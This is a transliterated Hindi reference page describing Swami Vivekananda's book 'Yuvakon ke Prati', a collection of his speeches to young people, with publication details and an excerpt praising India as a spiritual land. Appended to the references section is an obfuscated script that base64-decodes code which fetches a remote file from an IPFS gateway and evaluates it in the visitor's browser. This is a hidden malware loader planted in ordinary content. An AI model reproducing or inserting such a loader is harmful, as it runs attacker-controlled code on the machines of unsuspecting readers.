युवकों के प्रति -स्वामी विवेकानन्द
yuvakoan ke prati -svami vivekanand
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| lekhak | svami vivekanand |
| mool shirshak | yuvakoan ke prati |
| prakashak | ramkrishna math |
| prakashan tithi | 1 janavari, 1998 |
| desh | bharat |
| bhasha | hiandi |
| vishay | darshan |
| mukhaprishth rachana | ajild |
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yuvakoan ke prati namak pustak svami vivekanand dvara rachit hai. yuvavastha manavajivan ka atyant mahattvapoorn kal hai. isi avastha mean manav ki antarnihit anekavidh shaktiyaan vikasonmukh hoti haian. sansar ke rajanaitik, samajik ya dharmik kshetr mean aj tak jo bhi hitakar krantiyaan hueean unaka moolasrot yuvashakti hi rahi hai. vartaman yug mean mohanidra mean magn hamari matribhoomi ki durdisha tatha adhyatmajnan ke abhav se utpann samagr manavajati ke duahkh-klesh ko dekhakar jab parivrajak svami vivekanand vyathit hriday se isake pratikar ka upay sochane lage to unhean spasht upalabdhi huee ki hamare balavanh, buddhiman, pavitr evan niahsvarth yuvakoan dvara hi bharat evan samast sansar ka punarutthan hoga. unhoanne gurugambhir svar se hamare yuvakoan ko lalakara : ‘‘utho, jago—shubh gh di a gayi hai’’, ‘‘utho, jago tumhari matribhami tumhara balidan chahati hai’’, ‘‘utho, jago—sara sansar tumhean ahvan kar raha hai !’’
yuvashakti ko prabodhit karane ke lie svamiji ne asetuhimachal bharatavarsh ke vibhinn prantoan mean jo tejodipt bhashan diye unhean padhate hue aj bhi hriday mean navin shakti aur prerana ka sanchar hota hai. yuvakoan ke lie in sphoortidayi bhashanoan ka ek svatantr sangrah atyant avashyak tha. advait ashram, kalakatta dvara ‘To the Youth of India’ nam se is prakar ka sankalan pahale se hi prasiddh kiya gaya tha. usi ka anusaran karate hue ‘‘rashtriy yuv varsh’ ke upalakshy mean ‘bharat mean vivekanand’ granth ki sahayata se prastut pustak ka sankalan kiya gaya.
pustak ke kuchh aansh
jo tho da bahut kary mere dvara hua hai, vah meri kisi antarnihit shakti dvara nahian hua, varanh pashchaty deshoan mean paryatan karate samay, apani is param pavitr aur priy matribhoomi se jo utsah, jo shubhechchha tatha jo ashirvad mujhe mile haian, unhian ki shakti dvara sambhav ho saka hai. haan, yah thik hai ki kuchh kam to avashy hua hai, par pashchaty deshoan mean bhraman karane se vishesh labh mera hi hua hai. isaka karan yah hai ki pahale maian jin batoan ko shayad hriday ke aveg se saty man leta tha, ab unhian ko maian pramanasiddh vishvas tatha pratyaksh aur shaktisampann saty ke roop mean dekh raha hooan.
pahale maian bhi any hinduoan ki tarah vishvas karata tha ki bharat punyabhoomi hai karmabhoomi hai, jaisa ki mananiy sabhapati mahoday ne abhi abhi tumase kaha bhi hai. par aj maian is sabha ke samane kh de hokar dridh vishvas ke sath kahata hooan ki yah saty hi hai. yadi prithvi par aisa koee desh hai jise ham punyabhoomi kah sakate haian, yadi aisa koee sthan hai jahaan prithvi ke sab jivoan ko apana karmaphal bhogane ke lie ana p data hai. yadi aisa koee sthan hai jahaan bhagavanh ki or unmukh hone ke prayatn mean sanlagn rahanevale jivamatr ko antatah ana hoga, yadi aisa koee desh hai jahaan manavajati ki kshama, dhriti, daya, shuddhata adi sadvrittiyoan ka sarvadhik vikas hua hai aur yadi aisa koee desh hai jahaan adhyatmikata tatha sarvadhik atmanvashen ka vikas hua hai, to vah bhoomi bharat hi hai. [1]
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tika tippani aur sandarbh
- ↑ yuvakoan ke prati (hiandi) bharatiy sahity sangrah. abhigaman tithi: 19 janavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh